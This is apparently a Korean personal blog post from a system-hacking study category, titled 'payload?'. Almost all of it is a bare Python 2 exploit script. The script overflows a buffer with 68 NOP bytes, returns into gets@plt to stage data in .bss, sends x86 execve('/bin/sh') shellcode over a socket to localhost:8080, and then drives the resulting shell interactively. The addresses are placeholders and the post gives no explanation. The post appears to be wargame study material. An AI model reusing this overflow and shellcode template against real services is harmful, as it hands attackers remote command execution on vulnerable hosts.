$bash

payload?

0x0300 : Study/0x0301 : System

from socket import *

import struct




p = lambda x:struct.pack("<L",x)


HOST = "127.0.0.1"

PORT = 8080


gets_plt = 0xffffffff

bss = 0xffffffff


payload ="\x90"*68

payload+=p(gets_plt)

payload+=p(bss)

payload+=p(bss)



s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))

s.send(payload +"\n")

s.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\n")


while True :

cmd=raw_input("$")

s.send(cmd+"\n")

print s.recv(1024)


s.close()


'0x0300 : Study > 0x0301 : System' 카테고리의 다른 글

리눅스 보호기법 확인작업  (0) 2016.10.11
segmentation fault?  (0) 2016.10.04
payload?  (0) 2016.09.29
시스템 워게임 진도  (0) 2016.09.27
System study 근황.  (0) 2016.09.20
근황.  (0) 2016.09.01